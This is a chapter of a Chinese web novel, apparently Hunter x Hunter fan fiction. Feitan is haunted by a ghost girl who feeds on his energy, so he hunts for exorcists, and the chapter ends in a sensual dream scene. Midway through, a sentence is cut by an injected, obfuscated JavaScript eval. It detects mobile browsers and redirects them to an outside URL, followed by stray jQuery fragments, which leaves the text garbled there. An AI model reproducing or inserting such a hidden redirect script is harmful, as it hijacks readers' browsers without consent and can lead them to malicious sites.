可飞坦就这么插着兜,一脸不耐烦地盯着那里,仿佛有什么让他头疼的东西一样。 察觉到有人,飞坦倏然抬眼看过去。 侠客站在楼梯中央,一时间不知是进是退。 “什么事?”飞坦冷声问道。 目睹同事发疯的侠客后背一凉:“呃——” 恰在此时,艾莉丝彻底忍不住,‘嗖’地从桌子底下飘出来,绕到飞坦身后,双手搂住他的脖子,腿缠上他的腰,对着后颈狠狠咬了一口。 “唔……” 飞坦被冰地身形一晃,反手去身后抓。 可艾莉丝没有实体,任他怎么抓都没用。 好闻的味道化作力量充盈全身。 艾莉丝陶醉地轻哼,手掌下意识抚摸他的脸颊。 飞坦:“……” 更冷了! 这跟一头扎进雪没有区别。 而且跟实质的冷不同,这种冷是从骨子里透出来的冷,哪怕是体质强悍的念能力者也扛不住。 “放开我!” 顾不上侠客还在场,飞坦恼道:“否则——” [找人驱鬼让我魂飞魄散嘛] [(T▽T)好好吃~] [不管了,先做个饱死鬼再说!] 飞坦:“!” 5. 第 5 章 艾莉丝是真的饿。 但凡不是饿到实在受不了,她都不会去咬飞坦,这毕竟有违她的道德底线。 可当她一口咬下去,真是浑身舒爽,好吃到理智都没有了。 飞坦也是冷到理智也没有了。 整个人如坠冰窟,能清清楚楚的感觉到某种力量被从身体里抽离。 见飞坦转着圈地往身后抓,嘴里叫着“放开!放开!”,侠客快速下楼,想帮帮他却插不上手。 毕竟飞坦身后是真的什么东西都没有,他连‘凝’都用了,也什么都没看到。 短暂衡量几秒,侠客在‘打晕飞坦’和‘回头找人’之中选择了后者。 “团长——!!” 他一溜烟地跑到刑讯室,一把撞开门,把大家吓了一跳。 库洛洛刚把俘虏的手按在‘盗贼的极意’上偷完念能力,见状起身道: “怎么了?” 侠客:“快跟我来,飞坦他……” 他一边带着大家往楼下走,一边将刚刚的情况讲了一遍。 旅团众人听的如梦似幻。 信长道:“你说飞坦疯了?不可能吧,会不会是敌袭?” 侠客:“绝对没错!根本没有人!飞坦就那样——”他一边说着,一边学飞坦扭曲的姿势往身后抓:“叫着‘放开我’什么的,不是疯了是什么?肯定是幻觉啊。” 信长:“……” 见鬼了。 战斗能力暂且不提,单论心理素质,飞坦绝对是旅团最好的。 毕竟是战斗人员兼刑讯人员,整天打打杀杀,还要把犯人这样那样,常年处于血腥之中,没点心理承受能力都做不来这项工作。 仿佛嫌三次元不够刺激,他还额外喜欢看些恐怖漫画、小说和电影。 会疯什么的,怎么想都不可能吧。 谈话间大家已经重新回到一楼大厅。 却见飞坦果真如同侠客所说,不那么正常。 倒是没有大喊大叫地往身后抓,而是静静坐在桌子旁边。 他垂着头,黑色碎发遮住额头和眼睛,只漏出惨白的下半张脸,形状锋利的薄唇也是丁点血色也没有,哪怕听到声音都没有抬头,不知道在想些什么。 “飞坦?” 侠客小心翼翼叫了一声。 飞坦微微偏头,他立刻后退一步。 库洛洛对这件事的真实性存疑,他四处扫视一圈见没外人在场之后便问道: “有人来过吗飞坦?侠客说你刚刚……”他措辞委婉:“好像跟谁打起来了。” 飞坦手指蜷缩,没有回答。 库洛洛道:“出什么事了?” 飞坦依旧没吭声,只是摆了摆手表示没事。 眼见他又正常又不正常的,大家面面相觑,一时不知该如何是好。 这时飞坦忽然起身,绕过他们朝楼上走去,路过的时候说:“侠客,跟我来一下。” 他嗓音很哑,步履轻浮,显得很疲惫。 侠客:“啊?” 他回头求救地看向同事们。 库洛洛抬手拍拍他的肩膀道: “去吧,盯着点儿他,有事叫我。” 并不想去的侠客小声哔哔:“就不能换个人吗?飞坦看起来真的……”有亿点不太正常啊! 万一真的发疯怎么办?凭他拦得住? 可还没等他再说些什么,芬克斯就推了他一把。 侠客只好踉跄着跟了上去。 . 飞坦上楼之后直接去了侠客的房间。 推开门,电脑依旧开着,侠客走之前设置了自动操作,还在资料库中找人。 飞坦看了眼满是代码的屏幕,问道:“找到了吗?” 侠客小心翼翼瞄了他一眼,见他除了脸色白点以外状态好像还行,便在椅子上坐下来,点了点鼠标后道:“快了,估计再有十几分钟。” 飞坦道:“好。” 说完他也找了个椅子过来,往旁边一坐。 无形的压力铺散开来。 飞坦的‘缠’比平时更沉寂,仿佛积压着什么。 侠客:“你……” 飞坦抬起一根手指,压在唇上比了个:“嘘。” 他额发凌乱,金色眸子无机制的冷漠,透着股平静的疯感。 侠客立刻闭了嘴,没再去找不自在。 时间一分一秒过去。 很快,电脑‘滴’的一声有了结果。 侠客入侵了官方的资料库,同时通过猎人网站查了诺斯拉家族所有旗下产业雇佣的人员,符合飞坦要求的人——没有。 叫艾莉丝的人倒是不少,连女佣到本家,一共找出十几个,但不是年纪太大,就是外貌不同。 只有一个十七岁的小姑娘还算符合要求,栗发碧眼,可那女孩至今活得好好的。 通过悬赏网站找来她的影像资料,飞坦只看了一眼就说‘不对’。 “你到底在找什么人?” 侠客实在忍不住道:“坦哥,如果遇到问题可以说出来,大家帮你一起解决啊。” 没法儿解决。 见鬼这种事情说出去谁能信? 只会把他当成神经病。 飞坦沉着脸不说话。 另一边。 艾莉丝听到没能找到她的身世,也很失落。 [飞坦……] 她蹲在飞坦脚边,伸出两根手指可怜巴巴地去扯他衣角,却连眼神都没换来一个。 刚刚她失去理智抱着飞坦吃了个够。 吃完从他身上下来,一整个容光焕发,腿脚有力,透明度都低了很多,甚至‘嗝~’了一声。 本以为要迎接飞坦的疾风骤雨,被砍一百零八刀。 艾莉丝视死如归地等了一会儿,飞坦却只是平静地回到桌边坐了下来。 任她前前后后飘来飘去也不理她,双手合十的‘拜拜’‘求求’也不为所动,张开嘴作势去啃他都没有反应。 真正的心寒不是大吵大闹。 飞坦大概是真的生气了。 之后艾莉丝哄了他一路都没有反应,无论怎么戳他都不理人。 [我实在不是故意的呀] [真的太饿了] 艾莉丝也很后悔。 被吸阳气这种事情对活人来说一定很难受,不然飞坦不会反应那么大。 可她是真的控制不住,饿蒙了无法忍耐,再加上飞坦前前后后的溜她……她好歹是个鬼啊,天然带着怨气的,怎么禁得住这种折磨。 而且—— [奥尔良大鸡腿的诱惑谁又能扛得住呢?] [反正我不能] 谁是奥尔良大鸡腿? 飞坦眉梢狠狠一跳,接着用力闭了闭眼。 闭上眼就看不到这糟心又馋嘴的鬼东西了。 “那,现在怎么办?”侠客见他一脸的生无可恋,问道:“还继续找吗?” 飞坦倒是想找。 可他知道的信息就这么多,再找下去也没有意义。 “先不找了。” 不知道是不是阳气被吸多了,飞坦头疼的要命,抬手揉了揉额角道:“帮我找点别的。” 他体质向来很好,不管受多重的伤都能很快恢复,极少见他疲惫成这样。 侠客语气都放轻了:“找什么?你尽管开口,包在我身上。” 飞坦道:“附近的寺庙、教堂,厉害的驱鬼大师。” [什么?!] 艾莉丝瞪圆眼睛,吓得又“嗝~”一声。 侠客则怀疑自己听错了:“驱鬼?” “驱鬼。”飞坦确认道,同时叮嘱:“这件事情要保密。” 所以你是真的见鬼了吗?! 侠客神色惊疑不定,点了点头。 “那就这样,要快。” 飞坦说完就离开了,只剩侠客一个人坐在那里缓不过神。 . 侠客动作很快,当天晚上就把名单发来了。 虽然不理解,但他还是尽职尽责,把飞坦要的东西列成单子,哪个口碑好、哪个抓鬼厉害等等还细心做了备注。 飞坦拿着手机一页页的翻。 里面有西式驱鬼的神父,中式驱鬼的阴阳先生,还有什么张大师王大师等江湖人士,寺庙的慧一僧人什么的。 尤其这个慧一,虽然是个和尚但战绩能打,是远近闻名的大师,优路比安大陆的人都不远万里来请他,而他所在的宁安寺恰好就在本市。 艾莉丝凑头过来跟着一起看,越看越害怕,越看越心惊。 [呜呜呜我错了,真的错了] [都是我不好,不该馋嘴咬他的] 她眼泪汪汪地去扯飞坦的衣角。 [飞坦,坦哥,别找人打我行吗?] 飞坦终于赏她一个眼神。 现在知道错了? 早干嘛去了? [可飞坦这个人也真是的,让我吃一口怎么了嘛] [竟然真的要找人收我,好小气,一点肚量也没有,讨厌鬼,臭矮子……] 飞坦眉眼倏然一寒,杀气肆虐开来。 艾莉丝对上他森然的视线。 吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244896|197850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一跳,赶紧后退。 [好奇怪,他怎么又生气了?] [像是知道我在骂他一样?] 她心中胆怯又惊疑。 飞坦沉着脸盯着她。 片刻后,手指轻动将手机按灭了。 他按下心头杀意,下地拨开窗帘。 外面仍下着雪,天色已经彻底暗下来。 这种天气不便开车,离这里最近的教堂也要三十公里。 要她魂飞魄散也不急于这一晚。 这样想着,飞坦没再理她,也不屑去看她头顶话痨一样不停冒出的文字,兀自洗漱回来便靠着床头玩手机。 余光瞥见小女鬼立在床头,试探着还想凑过来,却怕他再发脾气而没敢,前前后后绕了好半天才蔫哒哒地飘去了窗外。 飞坦抬头,指尖挑起一点窗帘。 只见她像昨天一样,凌空飘在风雪中,抱着手臂哆哆嗦嗦,显得既可怜又懊丧。 飞坦放下窗帘,冷哼一声。 还算她识相,主动滚出去了。 这样明天找人收她,他也愿意留一点情面,送她往生。 飞坦倒不是真的那么小气,非要跟一个十六七岁的小鬼计较。 尤其还是很可能被他杀掉的鬼。 更何况流星街出身的人,对这种绝境反扑并不反感。 她失去理智咬他没什么大不了的。 只是人鬼殊途,留这么个祸患在身边绝对不可以。 必须要尽早解决才行。 本以为这样相安无事一晚,第二天只管找牧师送这女鬼升天,飞坦半夜却做了个梦。 他不是个容易做梦的人。 他甚至都不是个能睡死的人。 这一觉却由于头疼睡的很沉。 梦里他不知身在何处,环境很模糊。 只感觉有什么人好像离他很近,在耳边喃呢着“好冷”。 这人嗓音清甜,吐息打在耳畔惹人发痒。 飞坦想开口说“滚”,却鬼压床一样动弹不得。 他蹙着眉,用力咬下舌尖,手脚这才有了些力气。 他赶紧抬手去推她,却被她更紧地缠上来。 “好冷啊,让我抱一下……” 女生靠过来,脸颊贴在他颈窝,往他怀里钻。 飞坦:“?” 他继续去推人,可越推对方就靠的越近,最后隐隐带着哭腔:“哥哥,求你了……抱抱我……” 飞坦身体一僵。 梦里的意识没那么清醒。 可他到底是个男人。 女生声音实在好听,身体也滑腻柔软,一双小手在他身上到处乱摸,啜泣着蹭他。 虽然不愿意承认,但飞坦竟然被哭的起反应了。 抬手掐住她的腰。 正要将人推开,飞坦倒吸一口气。 不,不对。 她没穿衣服? 视线下移,眼前一片朦胧。 飞坦什么都看不到,掌下的触感却不作假。 纤细的腰肢,触感滑腻,稍稍向上,拇指划过一片柔软。 “啊……” 低低的娇呼在耳边,掌下的人颤了颤。 飞坦咬牙,立刻松了手。 混账。 这到底是哪儿!? 真的是梦吗? 怎么会这么真实! 这是把他干哪儿来了?! 还有这人,这人是谁? 女生想必是真的冷,被放开之后,反而去抓他的手,让他抱着自己,腿也挤到他两腿之间,直到整个人被圈住,才在他颈窝舒了口气。 “好暖和……” 她额头蹭着他的侧脸,手也伸进衣服里,轻轻挠他的脊背,满足道:“哥哥,你真好,抱着你好舒服……” “……” 飞坦喉结动了动。 半晌,他不再挣扎,稍稍低头想再去看她,嘴唇却不小心擦过她的脸颊。 飞坦本来没想亲她,都准备再把头抬起来了,她却躲了一下。 你躲什么? 勾引了别人,你还要躲? 飞坦手臂紧了紧,反而将她揽过来。 女生吓了一跳,立刻去推他。 “不要。” 她说:“别这样……” 飞坦发现两个人的力气不同。 自己推她推不动,她推自己却一推就走。 可把他推走之后,她又嫌冷地追过来,窝进他怀里,哼哼唧唧地说他好。 飞坦气笑了。 真就把他当暖炉呢?